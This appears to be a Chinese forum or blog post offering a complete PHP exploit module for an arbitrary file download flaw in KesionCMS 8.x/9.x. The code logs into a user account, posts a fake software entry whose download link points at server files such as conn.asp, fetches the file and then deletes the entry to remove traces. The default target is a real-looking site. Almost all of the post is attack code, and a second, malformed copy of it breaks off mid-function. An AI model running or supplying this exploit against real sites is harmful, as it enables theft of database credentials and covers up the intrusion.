科讯kesionCMS下载漏洞Exp

发表于 2012年10月13日
Vulndb

科讯 kesionCMS >=8.0 9.0 任意下载漏洞最新 Exp
关于此漏洞已经在论坛发了2次了。。每次都exp都没搞完全。今天下午抽空就把exp搞完全了。绝对没BUG了。。亲测N个站点没问题。

漏洞利用条件：

1.kesionCMS 版本大于等于8.0

2.存在用户管理平台

测试图：

这次主要更新几点：

1.对8.x 9.x 都做了自行判断

2.发布投稿后会程序自动删除发布的投稿

3.增加数据库下载方式set xiaku 1 设置即可！

4.代码整理！！

基本上就可以利用了。下面付上kesionCMS exploit for wve

<?php
class kesion8x_9x
{
public function info(){ //定义info 方法返回数组信息

$info=array(

                'info'=>array(  //info 数组定义模块相关信息
                             'author'=>'鬼哥',  //作者信息
                             'title'=>'kesionCMS >=8.0 9.0 任意下载漏洞', //模块名称
                             'info'=>'https://forum.90sec.org/thread-3874-1-1.html'  //模块简介
                             ),
                'option'=>array(  //模块参数信息设置
                                                 'host'=>'www.jnzh.com', //host初始化值127.0.0.1
                             'path'=>'/',
                             'port'=>'80',
                             'xiafile'=>'conn.asp',
                             'user'=>'tttttt',
                             'pass'=>'tttttt',
                             'classid'=>'程序获取',
                             'version'=>'程序获取',
                             'xiaku'=>'0'
                             )

                             );

return $info;}

public function login()
{
$_SESSION['dz_8']='user/User_MySoftWare.asp?action=AddSave&channelid=3&ClassID='.$_SESSION['classid'].'&Title=xia:&DownUrls=/';
$_SESSION['dz_9']='user/User_post.asp?action=DoSave&channelid=3&ClassID='.$_SESSION['classid'].'&Title=xia:&DownUrls=/';

        $data=HTTP::GET(G('host'),G('path').'user/CheckUserLogin.asp?Username='.G('user').'&Password='.G('pass'),'','');
        if(strpos($data,'RndPassword=')!== false)
        {
                preg_match('/Set-Cookie: (.*)/', $data, $arr);

                $str=$arr[1];
                $order   = array("\r\n", "\n", "\r");                 $replace = '';
                $str=str_replace($order, $replace, $str);
                $_SESSION['cookie']=$str;
                echo('| [√] user '.G('user').' login Success'."\n");
                if(strpos(G('version'),'8')!==false)
                {
                $_SESSION['dz']=$_SESSION['dz_8'];
                }
                elseif(strpos(G('version'),'9')!==false)
                {
                $_SESSION['dz']=$_SESSION['dz_9'];
                }
                else
                {
                $_SESSION['dz']='xx';
                }
                $this->getVersion();
        }
        else
        {
                exit('| [×] user '.G('user').' login fail'."\n");
        }
}


public function getVersion()
{
 if($_SESSION['dz']==='xx')
   {
        $data=HTTP::GET(G('host'),G('path').'user/User_MySoftWare.asp','','');
        preg_match('/ (.+?) /', $data, $arr);//substr($data,1,15);
        if($arr[1]!=='404')
        {
        $_SESSION['dz']=$_SESSION['dz_8'];
        echo('| [√] CMS Version 8.x'."\n");
        $this->softpublish();exit;
        }
        else
        {
        echo('| [×] NOT CMS Version 8.x'."\n");
        }

        $data=HTTP::GET(G('host'),G('path').'user/User_post.asp','','');
        preg_match('/ (.+?) /', $data, $arr);//substr($data,1,15);
        if($arr[1]!=='404')
        {
        $_SESSION['dz']=$_SESSION['dz_9'];
        echo('| [√] CMS Version 9.x'."\n");
        $this->softpublish();exit;
        }
        else
        {
        echo('| [×] NOT CMS Version 9.x'."\n");
        }
   }
   else
   {
   echo('| [√] CMS Version '.G('version')."\n");
   $this->softpublish();exit;
   }
}


public function softpublish()
{
        $data=HTTP::GET(G('host'),G('path').$_SESSION['dz'].urlencode(G('xiafile')).'&Title='.urlencode(G('xiafile')),$_SESSION['cookie'],'');

        if(strpos($data,'Action=Add&ClassID=')!== false)
        {
                echo('| [√] soft publish Success'."\n");
                $this->getsoftid();exit;
        }
        elseif(strpos($data,'%3Cli%3E%B1%BE%C6%B5%B5%C0')!== false)
        {
                exit('| [×] 频道不允许投稿 漏洞无法利用！'."\n");
        }
        elseif(strpos($data,'系统设定不能在此栏目发表')!== false)
        {
                exit('| [×] classid='.$_SESSION['classid'].' 错误,请手动到/plus/rss.asp获取'."\n");
        }
        else
        {
                exit('| [×] soft publish fail'."\n");
        }
}


public function softedit()
{
        $data=HTTP::GET(G('host'),G('path').$_SESSION['dz'].'90sec&id='.$_SESSION['id'],$_SESSION['cookie'],'');
        if(strpos($data,'修改成功')!== false)
        {
                echo('| [√] soft ID '.$_SESSION['id'].' Modify Success'."\n");
                $this->softdel();exit;
        }
        else
        {
                exit('| [×] soft ID '.$_SESSION['id'].' Can not be modified'."\n");
        }
}



public function softdel()
{
        $data=HTTP::GET(G('host'),G('path').'user/User_ItemInfo.asp?channelid=3&action=Del&ID='.$_SESSION['id'],$_SESSION['cookie'],'http://xxxx.com');
        if(strpos($data,'xxxx.com')!== false)
        {
                echo('| [√] soft ID '.$_SESSION['id'].' DEL Success'."\n");
                echo('| [OK] Exploit is completed！'."\n");
                   if(G('xiaku')==='0')
                   {
                        if(file_exists($_SESSION['savefile']))
                        {
                        system($_SESSION['savefile']);
                        }
                        exit;
                }
        }
        else
        {
                exit('| [×] soft ID '.$_SESSION['id'].' Can not be DEL'."\n");
        }
}


public function getsoftid()
{
        $data=HTTP::GET(G('host'),G('path').'user/User_ItemInfo.asp?ChannelID=3',$_SESSION['cookie'],'');

        if(strpos($data,'value=')!== false)
        {
                preg_match('/value=\"(.+?)\"/', $data, $arr);
                $_SESSION['id']=$arr[1];
                echo('| [√] Get soft ID = '.$_SESSION['id'].' Success'."\n");
                $this->downfile();exit;               }
        else
        {
                exit('| [×] Get Soft ID fail'."\n");
        }
}


public function downfile()
{
   if(G('xiaku')!=='0')
   {
        echo('| [√] '.G('xiafile').' down Url Success'."\n");
        $james=fopen(dirname(dirname(__FILE__)).'\\tmpxiama.txt',"w");
        fwrite($james,'下载地址：'.G('host').G('path').'plus/error.asp?action=error&message='.urlencode('<a href='.G('path').'item/downLoad.asp?m=3&downid=1&id='.$_SESSION['id'].'><b>down file 点我下载文件</b></a>').'   请下载完毕后在关闭本文本，程序进行下一步执行删除发布的投稿！');
        fclose($james);
        system(dirname(dirname(__FILE__)).'\\tmpxiama.txt');
        $this->softedit();exit;
   }
   else
   {
        $data=HTTP::GET(G('host'),G('path').'item/downLoad.asp?m=3&downid=1&id='.$_SESSION['id'],'','http://'.G('host').G('path'));
        $_SESSION['savefile']=dirname(dirname(__FILE__));
        $_SESSION['savefile']=$_SESSION['savefile'].'\\'.G('xiafile').'.txt';
        $james=fopen($_SESSION['savefile'],"w");
        fwrite($james,$data);
        fclose($james);
        echo('| [√] ID '.$_SESSION['id'].' down '.$_SESSION['savefile'].' Success'."\n");
        $this->softedit();exit;
   }
}



public function run()//$result=explode("=",$arr[1]);
{
  if(strpos(G('classid'),'20')===false)
  {
        $data=HTTP::GET(G('host'),G('path').'plus/rss.asp','','');
        if(strpos, ($data,'?classid=')!== false)
        {
        preg_match('/classid=(.+?)&/', $data, $arr);
        $_SESSION['classid']=$arr[1];
        echo('| [√] Get classid = '.$_SESSION['classid']."\n");
        $this->login();
        }
        else
        {
        exit('| [×] Get classid fail'."\n");
        }
  }
  else
  {
  $_SESSION['classid']=G('classid');
  echo('| [√] Get classid = '.$_SESSION['classid']."\n");
  $this->login();
  }


}

}
?>

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<?php

class kesion8x_9x

{

public function info(){ //定义info 方法返回数组信息

$info=array(

'info'=>array( //info 数组定义模块相关信息

'author'=>'鬼哥', //作者信息

'title'=>'kesionCMS >=8.0 9.0 任意下载漏洞', //模块名称

'info'=>'https://forum.90sec.org/thread-3874-1-1.html' //模块简介

'option'=>array( //模块参数信息设置

'host'=>'www.jnzh.com', //host初始化值127.0.0.1

'path'=>'/',

'port'=>'80',

'xiafile'=>'conn.asp',

'user'=>'tttttt',

'pass'=>'tttttt',

'classid'=>'程序获取',

'version'=>'程序获取',

'xiaku'=>'0'

)

);

return $info;}

public function login()

{

$_SESSION['dz_8']='user/User_MySoftWare.asp?action=AddSave&channelid=3&ClassID='.$_SESSION['classid'].'&Title=xia:&DownUrls=/';

$_SESSION['dz_9']='user/User_post.asp?action=DoSave&channelid=3&ClassID='.$_SESSION['classid'].'&Title=xia:&DownUrls=/';

$data=HTTP::GET(G('host'),G('path').'user/CheckUserLogin.asp?Username='.G('user').'&Password='.G('pass'),'','');

if(strpos($data,'RndPassword=')!== false)

{

preg_match('/Set-Cookie: (.*)/', $data, $arr);

$str=$arr[1];

$order = array("\r\n", "\n", "\r"); $replace = '';

$str=str_replace($order, $replace, $str);

$_SESSION['cookie']=$str;

echo('| [√] user '.G('user').' login Success'."\n");

if(strpos(G('version'),'8')!==false)

{

$_SESSION['dz']=$_SESSION['dz_8'];

}

elseif(strpos(G('version'),'9')!==false)

{

$_SESSION['dz']=$_SESSION['dz_9'];

}

else

{

$_SESSION['dz']='xx';

}

$this->getVersion();

}

else

{

exit('| [×] user '.G('user').' login fail'."\n");

}

public function getVersion()

{

if($_SESSION['dz']==='xx')

{

$data=HTTP::GET(G('host'),G('path').'user/User_MySoftWare.asp','','');

preg_match('/ (.+?) /', $data, $arr);//substr($data,1,15);

if($arr[1]!=='404')

{

$_SESSION['dz']=$_SESSION['dz_8'];

echo('| [√] CMS Version 8.x'."\n");

$this->softpublish();exit;

}

else

{

echo('| [×] NOT CMS Version 8.x'."\n");

}

$data=HTTP::GET(G('host'),G('path').'user/User_post.asp','','');

preg_match('/ (.+?) /', $data, $arr);//substr($data,1,15);

if($arr[1]!=='404')

{

$_SESSION['dz']=$_SESSION['dz_9'];

echo('| [√] CMS Version 9.x'."\n");

$this->softpublish();exit;

}

else

{

echo('| [×] NOT CMS Version 9.x'."\n");

}

else

{

echo('| [√] CMS Version '.G('version')."\n");

$this->softpublish();exit;

}

public function softpublish()

{

$data=HTTP::GET(G('host'),G('path').$_SESSION['dz'].urlencode(G('xiafile')).'&Title='.urlencode(G('xiafile')),$_SESSION['cookie'],'');

if(strpos($data,'Action=Add&ClassID=')!== false)

{

echo('| [√] soft publish Success'."\n");

$this->getsoftid();exit;

}

elseif(strpos($data,'%3Cli%3E%B1%BE%C6%B5%B5%C0')!== false)

{

exit('| [×] 频道不允许投稿漏洞无法利用！'."\n");

}

elseif(strpos($data,'系统设定不能在此栏目发表')!== false)

{

exit('| [×] classid='.$_SESSION['classid'].' 错误,请手动到/plus/rss.asp获取'."\n");

}

else

{

exit('| [×] soft publish fail'."\n");

}

public function softedit()

{

$data=HTTP::GET(G('host'),G('path').$_SESSION['dz'].'90sec&id='.$_SESSION['id'],$_SESSION['cookie'],'');

if(strpos($data,'修改成功')!== false)

{

echo('| [√] soft ID '.$_SESSION['id'].' Modify Success'."\n");

$this->softdel();exit;

}

else

{

exit('| [×] soft ID '.$_SESSION['id'].' Can not be modified'."\n");

}

public function softdel()

{

$data=HTTP::GET(G('host'),G('path').'user/User_ItemInfo.asp?channelid=3&action=Del&ID='.$_SESSION['id'],$_SESSION['cookie'],'http://xxxx.com');

if(strpos($data,'xxxx.com')!== false)

{

echo('| [√] soft ID '.$_SESSION['id'].' DEL Success'."\n");

echo('| [OK] Exploit is completed！'."\n");

if(G('xiaku')==='0')

{

if(file_exists($_SESSION['savefile']))

{

system($_SESSION['savefile']);

}

exit;

}

else

{

exit('| [×] soft ID '.$_SESSION['id'].' Can not be DEL'."\n");

}

public function getsoftid()

{

$data=HTTP::GET(G('host'),G('path').'user/User_ItemInfo.asp?ChannelID=3',$_SESSION['cookie'],'');

if(strpos($data,'value=')!== false)

{

preg_match('/value=\"(.+?)\"/', $data, $arr);

$_SESSION['id']=$arr[1];

echo('| [√] Get soft ID = '.$_SESSION['id'].' Success'."\n");

$this->downfile();exit; }

else

{

exit('| [×] Get Soft ID fail'."\n");

}

public function downfile()

{

if(G('xiaku')!=='0')

{

echo('| [√] '.G('xiafile').' down Url Success'."\n");

$james=fopen(dirname(dirname(__FILE__)).'\\tmpxiama.txt',"w");

fwrite($james,'下载地址：'.G('host').G('path').'plus/error.asp?action=error&message='.urlencode('<a href='.G('path').'item/downLoad.asp?m=3&downid=1&id='.$_SESSION['id'].'><b>down file 点我下载文件</b></a>').' 请下载完毕后在关闭本文本，程序进行下一步执行删除发布的投稿！');

fclose($james);

system(dirname(dirname(__FILE__)).'\\tmpxiama.txt');

$this->softedit();exit;

}

else

{